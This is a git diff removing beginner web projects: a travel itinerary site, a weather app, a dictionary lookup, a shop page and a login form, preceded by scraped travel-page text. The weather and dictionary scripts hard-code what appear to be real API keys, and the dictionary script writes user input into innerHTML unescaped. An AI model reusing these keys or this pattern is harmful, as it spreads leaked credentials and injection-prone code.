India is a beautiful country with 1,208 islands. Each island has its own set of unique attractions and landmarks that make it stand out from the rest. Some of the most famous islands include Great Nicobar Island, Neil Island and Lakshadweep. Thinking of travelling to a coastal and peaceful place? We got you covered with our premade and customizable itineraries

- Andaman -

- Lakshadweep -
- -
-

Bloomy
Camping.

-

Spending time in open air, gazing out at stars and taking in every bit of the tranquillity that comes with being so close to nature is the joy of camping. Be it an adventurous holiday or a peaceful one, camping is the new “it” thing because staying in a resort or a hotel is so passé.

- Explore Itineraries -
-
-

Fun Packed
Trips.

-

Bored of the usual daily grind of life? This summer is your excuse to ditch the monotony of 9 to 5 life and head for a much-deserved vacation. With many long weekends coming up, you have a perfect reason to travel and travel a lot more! Make sure you don’t miss out on any of the best adventure destinations in India for a perfect trip!

- Explore Itineraries -
-
-

Feel
Nature

-

The geographical features of India has seven wonders,heritage sites and must see natural places such as Great Indian Desert Thar,snow capped Himalayas, Nilgiri mountains,Beautiful Lakes of Ladakh and Peaks of western ghats and Famous waterfalls.

- Explore Itineraries -
-
-

Feel Nature.
Relax

-

The geographical features of India has seven wonders,heritage sites and must see natural places such as Great Indian Desert Thar,snow capped Himalayas, Nilgiri mountains,Beautiful Lakes of Ladakh and Peaks of western ghats and Famous waterfalls.

- Explore Itineraries -
-
-
-
- - - - - -
-
- - - - - diff --git a/Add Code Here/Websites/Travel Website with Video background/lakshwadeep.html b/Add Code Here/Websites/Travel Website with Video background/lakshwadeep.html deleted file mode 100644 index b2829765d59..00000000000 --- a/Add Code Here/Websites/Travel Website with Video background/lakshwadeep.html +++ /dev/null @@ -1,77 +0,0 @@ - - - - - - - - - Lakshwadeep - - - -
- Travaxo - - -
-
-
- -

Lakshadweep

-

India.

-
-
-

Recommended Itinerary

-

Day 1
Lakshadweep arrival at Aggati:
Hop on a speed boat to Bangaram Island
Day 2
Enjoy your time snorkeling, Scuba Diving and Island Hopping
Day 3
Stay at Thinnakara Island
Day 4
Enjoy your time in morning and head back to Agatti
Day 5
Breakfast
End Of Trip!

-

Need Custom Itineraries?

-

contact us at admin@travaxo.xyz

-
-
- - - diff --git a/Add Code Here/Websites/Travel Website with Video background/menu.png b/Add Code Here/Websites/Travel Website with Video background/menu.png deleted file mode 100644 index 1080ce5ff38..00000000000 Binary files a/Add Code Here/Websites/Travel Website with Video background/menu.png and /dev/null differ diff --git a/Add Code Here/Websites/Travel Website with Video background/nature.html b/Add Code Here/Websites/Travel Website with Video background/nature.html deleted file mode 100644 index e5df2385351..00000000000 --- a/Add Code Here/Websites/Travel Website with Video background/nature.html +++ /dev/null @@ -1,85 +0,0 @@ - - - - - - - - - Natural Attractions - - - -
- Travaxo - - -
-
-
- -

Camping

-

India

-
-
-

Recommended Itinerary

-

Tiger Reserve
Delhi, Agra, Jaipur & Ranthambhore Tiger Safari Reserve 5-Day Tour

Leave the planning to someone else during this multi-day private tour to Delhi, Jaipur, Agra, and Ranthambore National Park. Combine a classic “Golden Triangle” itinerary—including the Taj Mahal, the Hawa Mahal, and a tour of the capital—with tiger-spotting during multiple safari drives. Meals, admission tickets, air-conditioned vehicle transfers, and hotel accommodation are included.


Odisha
Gopalpur Beach, Chilika Lake and Konark temple tour

A tour to the Odisha's triple highlights- best beach "Gopalpur", exotic chilika lake and UNESCO site "Konark Sun temple" . Gopalpur is a quaint beach to enjoy the sun, sea, and sand. Walk around the beach, collect shells and first-sized peal-white conch, and remember all the beautiful moments of your life. "Chilika Lake", A brackish water lake spreading an area of over 1100 sq.km near Puri in Odisha, Chilika Lake is Asias largest salt water lagoon flowing into the Bay of Bengal attracts thousands of tourist every year. "Konark Sun temple" is a striking model of ancient artistry, fluidity of ideas, and a pedagogic treasury, that's why its A UNESCO World Heritage Site. Devoted to the sun god, Surya, the first rays of the sun fall on the entrance of the temple.


Munnar
Munnar day tour

Munnar is famous for the natural beauty of hills , rivers, Streams, Tea plantations, Waterfalls, flora and fauna. The region is at the height of 1500m to 2695m above sea level and easily accessible from cochin. - In this trip, we will pick you from cochin which offers the beauty of Arabian Sea. Then proceeding to Munnar ,The main places you can visit in this tour are, -  Attractions on the way to Cochin; - Neryamanagalam forest view, Cheeyappara waterfalls, Valara waterfalls -  Explore Attractions at Munnar; - Homemade spices garden Visit ( Entry fee INR 100/- excluded in the package ) ,Tea plantation view, Munnar Tea Museum, Srishti ( handmade paper, linen & fruits product making experience with Differently abled peoples from local community ), KFDC Flower Garden ( Entry fee INR 50/- per person excluded in the package), Photo Point, Mattupetty Boating -  Attractions back to Cochin; - Munnar market & old church visit, Karadippara view point

-

Need Custom Itineraries?

-

contact us at admin@travaxo.xyz

-
-
- - - diff --git a/Add Code Here/Websites/Travel Website with Video background/pages/close.png b/Add Code Here/Websites/Travel Website with Video background/pages/close.png deleted file mode 100644 index e5a84df90dc..00000000000 Binary files a/Add Code Here/Websites/Travel Website with Video background/pages/close.png and /dev/null differ diff --git a/Add Code Here/Websites/Travel Website with Video background/pages/menu.png b/Add Code Here/Websites/Travel Website with Video background/pages/menu.png deleted file mode 100644 index 1080ce5ff38..00000000000 Binary files a/Add Code Here/Websites/Travel Website with Video background/pages/menu.png and /dev/null differ diff --git a/Add Code Here/Websites/Travel Website with Video background/pages/style1.css b/Add Code Here/Websites/Travel Website with Video background/pages/style1.css deleted file mode 100644 index 127111ce639..00000000000 --- a/Add Code Here/Websites/Travel Website with Video background/pages/style1.css +++ /dev/null @@ -1,104 +0,0 @@ -/* global */ -@import url('https://fonts.googleapis.com/css?family=Roboto'); - -.grid-2{ - display: grid; - grid-template-columns: repeat(2,1fr); -} - -body{ - margin: 0; - padding: 0; - font-family: 'Roboto', sans-serif; - background-color: #101214; - color: #7A7C80; - -} - -h2,.white{ - color: #fff; -} - -a{ - color: #7A7C80; - text-decoration: none; -} -/* section 1 */ -.section-1{ - padding-top: 40vh; - text-align: center; -} - -.section-1 p{ - font-size: 1.1rem; - padding-bottom: 10px; - margin:0; -} - -.section-1 h2{ - font-size: 1.7rem; - margin-bottom: 10px; -} - -.section-1 a{ - font-size: 1.5rem; - padding: 10px; -} -/* section 2 */ -.section-2{ - padding-top: 10vh; - width: 70%; -} - -.section-2 h2{ - font-size: 1.7rem; - margin-bottom: 10px; -} - -.section-2 p{ - font-size: 1.1rem; - padding-bottom: 10px; - margin:0; -} - -.section-2 a{ - display: block; - padding: 5px; - font-size: 1.2rem; - padding-left: 0; - width: 100px; -} -/* animations / utilities */ -.section-2 a:hover{ - font-size: 1.3rem; - color: #fff; - cursor: pointer; - transition: 0.2s; -} - -.section-1 a:hover{ - color: #fff; - cursor: pointer; - transition: 0.3s; -} - -.white:hover{ - position: relative; - padding-left: 10px; -} - -/* media queres */ -@media(max-width:780px){ - .grid-2{ - grid-template-columns: 1fr; - } - .section-1{ - padding:0; - padding-top: 5rem; - } - .section-2{ - padding: 0; - padding-left: 1.5rem; - padding-top: 2rem; - } -} \ No newline at end of file diff --git a/Add Code Here/Websites/Travel Website with Video background/style.css b/Add Code Here/Websites/Travel Website with Video background/style.css deleted file mode 100644 index b776855199b..00000000000 --- a/Add Code Here/Websites/Travel Website with Video background/style.css +++ /dev/null @@ -1,279 +0,0 @@ -@import url('https://fonts.googleapis.com/css2?family=Poppins:wght@200;300;400;500;600;700;800;900&display=swap'); - -*{ - margin: 0; - padding: 0; - box-sizing: border-box; - font-family: "Poppins", sans-serif; -} - -header{ - z-index: 999; - position: absolute; - top: 0; - left: 0; - width: 100%; - display: flex; - justify-content: space-between; - align-items: center; - padding: 15px 200px; - transition: 0.5s ease; -} - -header .brand{ - color: #fff; - font-size: 1.5em; - font-weight: 700; - text-transform: uppercase; - text-decoration: none; -} - -header .navigation{ - position: relative; -} - -header .navigation .navigation-items a{ - position: relative; - color: #fff; - font-size: 1em; - font-weight: 500; - text-decoration: none; - margin-left: 30px; - transition: 0.3s ease; -} - -header .navigation .navigation-items a:before{ - content: ''; - position: absolute; - background: #fff; - width: 0; - height: 3px; - bottom: 0; - left: 0; - transition: 0.3s ease; -} - -header .navigation .navigation-items a:hover:before{ - width: 100%; -} - -section{ - padding: 100px 200px; -} - -.home{ - position: relative; - width: 100%; - min-height: 100vh; - display: flex; - justify-content: center; - flex-direction: column; - background: #2696E9; -} - -.home:before{ - z-index: 777; - content: ''; - position: absolute; - background: rgba(3, 96, 251, 0.3); - width: 100%; - height: 100%; - top: 0; - left: 0; -} - -.home .content{ - z-index: 888; - color: #fff; - width: 70%; - margin-top: 50px; - display: none; -} - -.home .content.active{ - display: block; -} - -.home .content h1{ - font-size: 4em; - font-weight: 900; - text-transform: uppercase; - letter-spacing: 5px; - line-height: 75px; - margin-bottom: 40px; -} - -.home .content h1 span{ - font-size: 1.2em; - font-weight: 600; -} - -.home .content p{ - margin-bottom: 65px; -} - -.home .content a{ - background: #fff; - padding: 15px 35px; - color: #1680AC; - font-size: 1.1em; - font-weight: 500; - text-decoration: none; - border-radius: 2px; -} - -.home .media-icons{ - z-index: 888; - position: absolute; - right: 30px; - display: flex; - flex-direction: column; - transition: 0.5s ease; -} - -.home .media-icons a{ - color: #fff; - font-size: 1.6em; - transition: 0.3s ease; -} - -.home .media-icons a:not(:last-child){ - margin-bottom: 20px; -} - -.home .media-icons a:hover{ - transform: scale(1.3); -} - -.home video{ - z-index: 000; - position: absolute; - top: 0; - left: 0; - width: 100%; - height: 100%; - object-fit: cover; -} - -.slider-navigation{ - z-index: 888; - position: relative; - display: flex; - justify-content: center; - align-items: center; - transform: translateY(80px); - margin-bottom: 12px; -} - -.slider-navigation .nav-btn{ - width: 12px; - height: 12px; - background: #fff; - border-radius: 50%; - cursor: pointer; - box-shadow: 0 0 2px rgba(255, 255, 255, 0.5); - transition: 0.3s ease; -} - -.slider-navigation .nav-btn.active{ - background: #2696E9; -} - -.slider-navigation .nav-btn:not(:last-child){ - margin-right: 20px; -} - -.slider-navigation .nav-btn:hover{ - transform: scale(1.2); -} - -.video-slide{ - position: absolute; - width: 100%; - clip-path: circle(0% at 0 50%); -} - -.video-slide.active{ - clip-path: circle(150% at 0 50%); - transition: 2s ease; - transition-property: clip-path; -} - -@media (max-width: 1040px){ - header{ - padding: 12px 20px; - } - - section{ - padding: 100px 20px; - } - - .home .media-icons{ - right: 15px; - } - - header .navigation{ - display: none; - } - - header .navigation.active{ - position: fixed; - width: 100%; - height: 100vh; - top: 0; - left: 0; - display: flex; - justify-content: center; - align-items: center; - background: rgba(1, 1, 1, 0.5); - } - - header .navigation .navigation-items a{ - color: #222; - font-size: 1.2em; - margin: 20px; - } - - header .navigation .navigation-items a:before{ - background: #222; - height: 5px; - } - - header .navigation.active .navigation-items{ - background: #fff; - width: 600px; - max-width: 600px; - margin: 20px; - padding: 40px; - display: flex; - flex-direction: column; - align-items: center; - border-radius: 5px; - box-shadow: 0 5px 25px rgb(1 1 1 / 20%); - } - - .menu-btn{ - background: url(menu.png)no-repeat; - background-size: 30px; - background-position: center; - width: 40px; - height: 40px; - cursor: pointer; - transition: 0.3s ease; - } - - .menu-btn.active{ - z-index: 999; - background: url(close.png)no-repeat; - background-size: 25px; - background-position: center; - transition: 0.3s ease; - } -} - -@media (max-width: 560px){ - .home .content h1{ - font-size: 3em; - line-height: 60px; - } -} diff --git a/Add Code Here/Websites/Travel Website with Video background/style1.css b/Add Code Here/Websites/Travel Website with Video background/style1.css deleted file mode 100644 index 9a8d7694f0c..00000000000 --- a/Add Code Here/Websites/Travel Website with Video background/style1.css +++ /dev/null @@ -1,268 +0,0 @@ -/* global */ -@import url('https://fonts.googleapis.com/css2?family=Poppins:wght@200;300;400;500;600;700;800;900&display=swap'); -*{ - margin: 0; - padding: 0; - box-sizing: border-box; - font-family: "Poppins", sans-serif; - } -header{ - z-index: 999; - position: absolute; - top: 0; - left: 0; - width: 100%; - display: flex; - justify-content: space-between; - align-items: center; - padding: 15px 200px; - transition: 0.5s ease; - } - - header .brand{ - color: #fff; - font-size: 1.5em; - font-weight: 700; - text-transform: uppercase; - text-decoration: none; - } - - header .navigation{ - position: relative; - } - - header .navigation .navigation-items a{ - position: relative; - color: #fff; - font-size: 1em; - font-weight: 500; - text-decoration: none; - margin-left: 30px; - transition: 0.3s ease; - } - - header .navigation .navigation-items a:before{ - content: ''; - position: absolute; - background: #fff; - width: 0; - height: 3px; - bottom: 0; - left: 0; - transition: 0.3s ease; - } - - header .navigation .navigation-items a:hover:before{ - width: 100%; - } - - @media (max-width: 1040px){ - header{ - padding: 12px 20px; - } - - section{ - padding: 100px 20px; - } - - .home .media-icons{ - right: 15px; - } - - header .navigation{ - display: none; - } - - header .navigation.active{ - position: fixed; - width: 100%; - height: 100vh; - top: 0; - left: 0; - display: flex; - justify-content: center; - align-items: center; - background: rgba(1, 1, 1, 0.5); - } - - header .navigation .navigation-items a{ - color: #222; - font-size: 1.2em; - margin: 20px; - } - - header .navigation .navigation-items a:before{ - background: #222; - height: 5px; - } - - header .navigation.active .navigation-items{ - background: #fff; - width: 600px; - max-width: 600px; - margin: 20px; - padding: 40px; - display: flex; - flex-direction: column; - align-items: center; - border-radius: 5px; - box-shadow: 0 5px 25px rgb(1 1 1 / 20%); - } - - .menu-btn{ - background: url(menu.png)no-repeat; - background-size: 30px; - background-position: center; - width: 40px; - height: 40px; - cursor: pointer; - transition: 0.3s ease; - } - - .menu-btn.active{ - z-index: 999; - background: url(close.png)no-repeat; - background-size: 25px; - background-position: center; - transition: 0.3s ease; - } - } - .slider-navigation{ - z-index: 888; - position: relative; - display: flex; - justify-content: center; - align-items: center; - transform: translateY(80px); - margin-bottom: 12px; - } - - .slider-navigation .nav-btn{ - width: 12px; - height: 12px; - background: #fff; - border-radius: 50%; - cursor: pointer; - box-shadow: 0 0 2px rgba(255, 255, 255, 0.5); - transition: 0.3s ease; - } - - .slider-navigation .nav-btn.active{ - background: #2696E9; - } - - .slider-navigation .nav-btn:not(:last-child){ - margin-right: 20px; - } - - .slider-navigation .nav-btn:hover{ - transform: scale(1.2); - } - - @media (max-width: 560px){ - .home .content h1{ - font-size: 3em; - line-height: 60px; - } - } -.grid-2{ - display: grid; - grid-template-columns: repeat(2,1fr); -} - -body{ - margin: 0; - padding: 0; - font-family: 'Roboto', sans-serif; - background-color: #101214; - color: #7A7C80; - -} - -h2,.white{ - color: #fff; -} - -a{ - color: #7A7C80; - text-decoration: none; -} -/* section 1 */ -.section-1{ - padding-top: 40vh; - text-align: center; -} - -.section-1 p{ - font-size: 1.1rem; - padding-bottom: 10px; - margin:0; -} - -.section-1 h2{ - font-size: 1.7rem; - margin-bottom: 10px; -} - -.section-1 a{ - font-size: 1.5rem; - padding: 10px; -} -/* section 2 */ -.section-2{ - padding-top: 10vh; - width: 70%; -} - -.section-2 h2{ - font-size: 1.7rem; - margin-bottom: 10px; -} - -.section-2 p{ - font-size: 1.1rem; - padding-bottom: 10px; - margin:0; -} - -.section-2 a{ - display: block; - padding: 5px; - font-size: 1.2rem; - padding-left: 0; - width: 100px; -} -/* animations / utilities */ -.section-2 a:hover{ - font-size: 1.3rem; - color: #fff; - cursor: pointer; - transition: 0.2s; -} - -.section-1 a:hover{ - color: #fff; - cursor: pointer; - transition: 0.3s; -} - -.white:hover{ - position: relative; - padding-left: 10px; -} - -/* media queres */ -@media(max-width:780px){ - .grid-2{ - grid-template-columns: 1fr; - } - .section-1{ - padding:0; - padding-top: 5rem; - } - .section-2{ - padding: 0; - padding-left: 1.5rem; - padding-top: 2rem; - } -} diff --git a/Add Code Here/Websites/Travel Website with Video background/trips.html b/Add Code Here/Websites/Travel Website with Video background/trips.html deleted file mode 100644 index 850602098be..00000000000 --- a/Add Code Here/Websites/Travel Website with Video background/trips.html +++ /dev/null @@ -1,78 +0,0 @@ - - - - - - - - - Trips - - - -
- Travaxo - - -
-
-
- -

Camping

-

India

-
-
-

Recommended Itinerary

-

Ladakh
Ladakh Tour

Manali - Jispa - Sarchu - Khardung La - Leh - Pangong Lake – Manali


Himachal Pradesh
Himalayan Jeep Safari

Delhi - Leh - Nubra Valley – Tsomoriri Lake - Tsokar Lake - Jispa - Manali.


Uttarakhand
Valley of Flowers Trek

Delhi - Haridwar - Joshimath - Govindghat - Ghangaria - Valley of Flowers - Hemkund Sahib

-

Need Custom Itineraries?

-

contact us at admin@travaxo.xyz

-
-
- - - diff --git a/Add Code Here/Websites/Weather App/index.html b/Add Code Here/Websites/Weather App/index.html deleted file mode 100644 index dd3caad6bc4..00000000000 --- a/Add Code Here/Websites/Weather App/index.html +++ /dev/null @@ -1,46 +0,0 @@ - - - - - - - - - - -
-
---
-
-°C
-
----
-
-
- - - - diff --git a/Add Code Here/Websites/Weather App/script.js b/Add Code Here/Websites/Weather App/script.js deleted file mode 100644 index 2f57a79a6f3..00000000000 --- a/Add Code Here/Websites/Weather App/script.js +++ /dev/null @@ -1,42 +0,0 @@ -// Declaring the variables -let lon; -let lat; -let temperature = document.querySelector(".temp"); -let summary = document.querySelector(".summary"); -let loc = document.querySelector(".location"); -let icon = document.querySelector(".icon"); -const kelvin = 273; - -window.addEventListener("load", () => { -if (navigator.geolocation) { - navigator.geolocation.getCurrentPosition((position) => { - console.log(position); - lon = position.coords.longitude; - lat = position.coords.latitude; - - // API ID - const api = "6d055e39ee237af35ca066f35474e9df"; - - // API URL - const base = -`http://api.openweathermap.org/data/2.5/weather?lat=${lat}&` + -`lon=${lon}&appid=6d055e39ee237af35ca066f35474e9df`; - - // Calling the API - fetch(base) - .then((response) => { - return response.json(); - }) - .then((data) => { - console.log(data); - temperature.textContent = - Math.floor(data.main.temp - kelvin) + "°C"; - summary.textContent = data.weather[0].description; - loc.textContent = data.name + "," + data.sys.country; - let icon1 = data.weather[0].icon; - icon.innerHTML = - ``; - }); - }); -} -}); diff --git a/Add Code Here/Websites/Weather App/w.gif b/Add Code Here/Websites/Weather App/w.gif deleted file mode 100644 index c2c10a2a117..00000000000 Binary files a/Add Code Here/Websites/Weather App/w.gif and /dev/null differ diff --git a/Add Code Here/Websites/Weather App/w.jfif b/Add Code Here/Websites/Weather App/w.jfif deleted file mode 100644 index 69aa48d02c1..00000000000 Binary files a/Add Code Here/Websites/Weather App/w.jfif and /dev/null differ diff --git a/Add Code Here/Websites/Weather App/w.png b/Add Code Here/Websites/Weather App/w.png deleted file mode 100644 index 87b8e1aaaf0..00000000000 Binary files a/Add Code Here/Websites/Weather App/w.png and /dev/null differ diff --git a/Add Code Here/Websites/Word Search/api.json b/Add Code Here/Websites/Word Search/api.json deleted file mode 100644 index 781a0ad98e0..00000000000 --- a/Add Code Here/Websites/Word Search/api.json +++ /dev/null @@ -1,46 +0,0 @@ -{ - "word": "amazing", - "results": [ - { - "definition": "inspiring awe or admiration or wonder", - "partOfSpeech": "adjective", - "synonyms": [ - "awe-inspiring", - "awesome", - "awful", - "awing" - ], - "similarTo": [ - "impressive" - ], - "examples": [ - "New York is an amazing city" - ] - }, - { - "definition": "surprising greatly", - "partOfSpeech": "adjective", - "synonyms": [ - "astonishing" - ], - "similarTo": [ - "surprising" - ], - "examples": [ - "she does an amazing amount of work" - ] - } - ], - "syllables": { - "count": 3, - "list": [ - "a", - "maz", - "ing" - ] - }, - "pronunciation": { - "all": "ə'meɪzɪŋ" - }, - "frequency": 4.94 -} \ No newline at end of file diff --git a/Add Code Here/Websites/Word Search/app.js b/Add Code Here/Websites/Word Search/app.js deleted file mode 100644 index 060014864e8..00000000000 --- a/Add Code Here/Websites/Word Search/app.js +++ /dev/null @@ -1,37 +0,0 @@ -console.log('Hello'); -str = ""; - -const fetchBtn = document.getElementById('fetchBtn'); -const deleteBtn = document.getElementById('deleteBtn'); - -const inputtext = document.getElementById('inputtext'); -const show = document.getElementById('list'); - -fetchBtn.addEventListener('click',getdata); -deleteBtn.addEventListener('click',deletedata); - -function getdata(){ - - const xhr = new XMLHttpRequest(); - - xhr.open('GET',`https://mashape-community-urban-dictionary.p.rapidapi.com/define?term=${inputtext.value}`,true); - xhr.setRequestHeader("x-rapidapi-key", "3713d5b39dmshf1764344d8244d5p116e9ajsneb81024be405"); - xhr.setRequestHeader("x-rapidapi-host", "mashape-community-urban-dictionary.p.rapidapi.com"); - - xhr.onload = function(){ - const response = xhr.responseText; - const obj = JSON.parse(response); - // console.log(obj.list[0]); - str = str + `${inputtext.value}
  • ${obj.list[0].definition}

  • `; - show.innerHTML = str; - // inputtext.value = ""; - } - - - xhr.send(); -} - -function deletedata(){ -show.innerHTML = ""; -str = ""; -} \ No newline at end of file diff --git a/Add Code Here/Websites/Word Search/index.html b/Add Code Here/Websites/Word Search/index.html deleted file mode 100644 index 4581d012715..00000000000 --- a/Add Code Here/Websites/Word Search/index.html +++ /dev/null @@ -1,22 +0,0 @@ - - - - - - - Get Words Definitions - - -

    Welcome to The Dictionary

    - - - - - -

    Defenition

    -
      - -
    - - - diff --git a/Add Code Here/Websites/e-commerce website/homepage.html b/Add Code Here/Websites/e-commerce website/homepage.html deleted file mode 100644 index 9c4520f2f7d..00000000000 --- a/Add Code Here/Websites/e-commerce website/homepage.html +++ /dev/null @@ -1,43 +0,0 @@ - - - - - - - - SHIVA SUIT & SAREES - - \ No newline at end of file diff --git a/Add Code Here/Websites/e-commerce website/homepage.html.bak b/Add Code Here/Websites/e-commerce website/homepage.html.bak deleted file mode 100644 index aa549e98bbb..00000000000 --- a/Add Code Here/Websites/e-commerce website/homepage.html.bak +++ /dev/null @@ -1,41 +0,0 @@ - - - - - - - - SHIVA SUIT & SAREES - - \ No newline at end of file diff --git a/Add Code Here/Websites/e-commerce website/readme.md.txt b/Add Code Here/Websites/e-commerce website/readme.md.txt deleted file mode 100644 index c3db90152fe..00000000000 --- a/Add Code Here/Websites/e-commerce website/readme.md.txt +++ /dev/null @@ -1,3 +0,0 @@ ---- -Webpages using html amd css for beginners... ---- \ No newline at end of file diff --git a/Add Code Here/Websites/e-commerce website/sarees.html b/Add Code Here/Websites/e-commerce website/sarees.html deleted file mode 100644 index d2d6179790e..00000000000 --- a/Add Code Here/Websites/e-commerce website/sarees.html +++ /dev/null @@ -1,460 +0,0 @@ - -Bridal Lehangas - - - -
    -

    -   ✉ abc@gmail@gmail.com   -   ☎ XXXXXXXXXX                        -               -                 -       ABC suit and Sarees

    -
    - - - - - -
    - -




    -                 - -

          Effortlessly Elegant

    -
    -    -
    -       




    -

          Effortlessly Elegant

    -
    -        -




    -

       Magical Maroon Saree

    -
    -            -
    - -
    -
                    -

          Eternal Traditions

    -
    -    -
    -    -

          Captivating Charm

    -
    -            -
    -

          Bold & Beautiful

    -
    -            -
    -
    -
    -                 -

          Flawless Beauty

    -
    -     -
    -    -

          The Beautiful Contrast

    -
    -            -
    -

          Exquisite Turquoise

    -
    -            - -
    -
    -

    "Be the light in a world of unknowns.
    Glam the place with your saree beauty"

    -
    - - -
    - -
    -                 - -

          Vividly Picturesque

    -
    -     -
    -    -

           - -Embracing the Joy - -

    -
    -            -
    -

          Enchanting Beauty

    -
    -            -
    - -
    -
    -                 - -

          Strikingly Radiant

    -
    -        -
    -    -

          The Stunner

    -
    -            -
    -

          The Majestic Ivory

    -
    -            -
    - -
    - -
    -                 - -

          Stellar Ensemble

    -
    -        -
    -    -

          Colourful Harmony

    -
    -            -
    -

          Flawless Beauty

    -
    -            -
    - -
    -
    -
    -
    - -

    shiva_suit_and_sarees FOLLOW US ON INSTAGRAM

    - - -
    -
    - - - - - - - - diff --git a/Add Code Here/Websites/e-commerce website/sarees.html.bak b/Add Code Here/Websites/e-commerce website/sarees.html.bak deleted file mode 100644 index cff8e653813..00000000000 --- a/Add Code Here/Websites/e-commerce website/sarees.html.bak +++ /dev/null @@ -1,460 +0,0 @@ - -Bridal Lehangas - - - -
    -

    -   ✉ abc@gmail@gmail.com   -   ☎ XXXXXXXXXX                        -               -                 -       ABC suit and Sarees

    -
    - - - - - -
    - -




    -                 - -

          Effortlessly Elegant

    -
    -    -
    -       




    -

          Effortlessly Elegant

    -
    -        -




    -

       Magical Maroon Saree

    -
    -            -
    - -
    -
                    -

          Eternal Traditions

    -
    -    -
    -    -

          Captivating Charm

    -
    -            -
    -

          Bold & Beautiful

    -
    -            -
    -
    -
    -                 -

          Flawless Beauty

    -
    -     -
    -    -

          The Beautiful Contrast

    -
    -            -
    -

          Exquisite Turquoise

    -
    -            - -
    -
    -

    "Be the light in a world of unknowns.
    Glam the place with your saree beauty"

    -
    - - -
    - -
    -                 - -

          Vividly Picturesque

    -
    -     -
    -    -

           - -Embracing the Joy - -

    -
    -            -
    -

          Enchanting Beauty

    -
    -            -
    - -
    -
    -                 - -

          Strikingly Radiant

    -
    -        -
    -    -

          The Stunner

    -
    -            -
    -

          The Majestic Ivory

    -
    -            -
    - -
    - -
    -                 - -

          Stellar Ensemble

    -
    -        -
    -    -

          Colourful Harmony

    -
    -            -
    -

          Flawless Beauty

    -
    -            -
    - -
    -
    -
    -
    - -

    shiva_suit_and_sarees FOLLOW US ON INSTAGRAM

    - - -
    -
    - - - - - - - - diff --git a/Add Code Here/Websites/login/index.html b/Add Code Here/Websites/login/index.html deleted file mode 100644 index d8bf4146e21..00000000000 --- a/Add Code Here/Websites/login/index.html +++ /dev/null @@ -1,50 +0,0 @@ - - - - - Admin Login - - - - - - - -
    -
    - -

    Login to your account

    -
    -
    - - - -
    -
    - - - -
    - - -
    -
    - - -
    - Forgot Password? -
    -
    -
    - -
    - - - - - - - - diff --git a/Add Code Here/Websites/login/info.txt b/Add Code Here/Websites/login/info.txt deleted file mode 100644 index 71fd040ed59..00000000000 --- a/Add Code Here/Websites/login/info.txt +++ /dev/null @@ -1,5 +0,0 @@ -This code snippet downloaded from CodeHim. -For more web design code & scripts visit now: -https://www.codehim.com - -HAPPY CODING :) \ No newline at end of file diff --git a/Add Code Here/Websites/login/script.js b/Add Code Here/Websites/login/script.js deleted file mode 100644 index 76a105fc0db..00000000000 --- a/Add Code Here/Websites/login/script.js +++ /dev/null @@ -1,46 +0,0 @@ -+ function($) { - $('.palceholder').click(function() { - $(this).siblings('input').focus(); - }); - - $('.form-control').focus(function() { - $(this).parent().addClass("focused"); - }); - - $('.form-control').blur(function() { - var $this = $(this); - if ($this.val().length == 0) - $(this).parent().removeClass("focused"); - }); - $('.form-control').blur(); - - // validetion - $.validator.setDefaults({ - errorElement: 'span', - errorClass: 'validate-tooltip' - }); - - $("#formvalidate").validate({ - rules: { - userName: { - required: true, - minlength: 6 - }, - userPassword: { - required: true, - minlength: 6 - } - }, - messages: { - userName: { - required: "Please enter your username.", - minlength: "Please provide valid username." - }, - userPassword: { - required: "Enter your password to Login.", - minlength: "Incorrect login or password." - } - } - }); - -}(jQuery); \ No newline at end of file diff --git a/Add Code Here/Websites/login/style.css b/Add Code Here/Websites/login/style.css deleted file mode 100644 index aa1687aa035..00000000000 --- a/Add Code Here/Websites/login/style.css +++ /dev/null @@ -1,214 +0,0 @@ -body { - background: #f2f2f2; -} -.animate { - -webkit-transition: all 0.3s linear; - transition: all 0.3s linear; -} -.text-center { - text-align: center; -} -.pull-left { - float: left; -} -.pull-right { - float: right; -} -.clearfix:after { - visibility: hidden; - display: block; - font-size: 0; - content: " "; - clear: both; - height: 0; -} -.clearfix { - display: inline-block; -} -/* start commented backslash hack \*/ -* html .clearfix { - height: 1%; -} -.clearfix { - display: block; -} -/* close commented backslash hack */ -a { - color: #00A885; -} -a:hover, -a:focus { - color: #00755d; - -webkit-transition: all 0.3s linear; - transition: all 0.3s linear; -} -.text-primary { - color: #00A885; -} -input:-webkit-autofill { - -webkit-box-shadow: 0 0 0 1000px white inset !important; -} -.logo h1 { - color: #00A885; - margin-bottom: -12px; -} -input[type="checkbox"] { - width: auto; -} -button { - cursor: pointer; - background: #00A885; - width: 100%; - border: 0; - padding: 10px 15px; - color: #fff; - font-size: 20px; - -webkit-transition: 0.3s linear; - transition: 0.3s linear; -} -span.validate-tooltip { - background: #D91717; - width: 100%; - display: block; - padding: 5px; - color: #fff; - box-sizing: border-box; - font-size: 14px; - margin-top: -28px; - -webkit-transition: all 0.3s ease-in-out; - transition: all 0.3s ease-in-out; - -webkit-animation: tooltipanimation 0.3s 1; - animation: tooltipanimation 0.3s 1; -} -.input-group { - position: relative; - margin-bottom: 20px; -} -.input-group label { - position: absolute; - top: 9px; - left: 10px; - font-size: 16px; - color: #cdcdcd; - font-weight: normal; - padding: 2px 5px; - z-index: 5; - -webkit-transition: all 0.3s linear; - transition: all 0.3s linear; -} -.input-group input { - outline: none; - display: block; - width: 100%; - height: 40px; - position: relative; - z-index: 3; - border: 1px solid #d9d9d9; - padding: 10px 10px; - background: #ffffff; - box-sizing: border-box; - font-wieght: 400; - -webkit-transition: 0.3s ease; - transition: 0.3s ease; -} -.input-group .lighting { - background: #00A885; - width: 0; - height: 2px; - display: inline-block; - position: absolute; - top: 40px; - left: 0; - -webkit-transition: all 0.3s linear; - transition: all 0.3s linear; -} -.input-group.focused .lighting { - width: 100%; -} -.input-group.focused label { - background: #fff; - font-size: 12px; - top: -8px; - left: 5px; - color: #00A885; -} -.input-group span.validate-tooltip { - margin-top: 0; -} -.wrapper { - width: 320px; - background: #fff; - margin: 20px auto; - min-height: 200px; - border: 1px solid #f3f3f3; -} -.wrapper .inner-warpper { - padding: 50px 30px 60px; - box-shadow: 1px 1.732px 10px 0px rgba(0, 0, 0, 0.063); -} -.wrapper .title { - margin-top: 0; -} -.wrapper .supporter { - margin-top: 10px; - font-size: 14px; - color: #8E8E8E; - cursor: pointer; -} -.wrapper .remember-me { - cursor: pointer; -} -.wrapper input[type="checkbox"] { - float: left; - margin-right: 5px; - margin-top: 2px; - cursor: pointer; -} -.wrapper label[for="rememberMe"] { - cursor: pointer; -} -.wrapper .signup-wrapper { - padding: 10px; - font-size: 14px; - background: #EBEAEA; -} -.wrapper .signup-wrapper a { - text-decoration: none; - color: 